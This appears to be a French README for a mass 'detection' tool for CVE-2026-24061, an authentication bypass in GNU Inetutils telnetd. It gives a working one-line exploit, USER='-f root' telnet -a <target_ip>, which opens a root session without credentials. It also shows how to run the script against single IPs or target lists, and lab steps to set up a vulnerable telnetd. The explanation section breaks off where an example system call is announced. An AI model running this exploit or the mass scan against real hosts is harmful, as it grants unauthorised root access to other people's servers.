Outil de détection en masse de la vulnérabilité CVE-2026-24061

⚠️ Remarque : CVE-2026-24061 GNU Inetutils est un ensemble d'outils réseau classiques fourni par le projet GNU, qui inclut le service telnetd, c'est-à-dire le démon serveur Telnet. Dans les versions 1.9.3 à 2.7, le service telnetd présente un défaut critique dans le processus d'authentification des utilisateurs. Lorsque ce service appelle le programme de connexion système /usr/bin/login, il ne filtre ni ne valide correctement la variable d'environnement USER transmise par le client. Un attaquant peut, en définissant une valeur spécifique pour la variable USER, injecter directement le paramètre -f dans la commande login. Le paramètre -f du programme login sert à « contourner la double authentification », ce qui permet à l'attaquant de contourner entièrement toutes les étapes de vérification du mot de passe et d'établir directement une session distante en tant qu'utilisateur root, obtenant ainsi le plus haut niveau de contrôle sur le serveur. Cette vulnérabilité est extrêmement dangereuse, équivalant à une porte dérobée root distante publique, ne nécessitant aucune information d'identification.

POC de détection de la vulnérabilité

USER='-f root' telnet -a <target_ip>

Script de détection

Détection individuelle

python3 cve-2026-24061.py -i 10.10.168.128

Détection en masse

python3 cve-2026-24061.py -f targets.txt

Principe de la vulnérabilité

La commande ci-dessus définit la variable d'environnement USER sur -f root. Lorsque le service telnetd vulnérable reçoit une connexion, il construit et exécute un appel système similaire à celui-ci :

Étapes de reproduction

1. Installer les programmes nécessaires

sudo apt update
sudo apt install openbsd-inetd inetutils-telnetd telnet -y

2. Décommenter la ligne telnet (s'assurer que le format est correct)

sudo sed -i 's/^#telnet/telnet/' /etc/inetd.conf

3. Redémarrer le service

sudo systemctl restart openbsd-inetd

4. Vérifier le port

sudo ss -tuln | grep ':23'

5. Test local

telnet localhost 23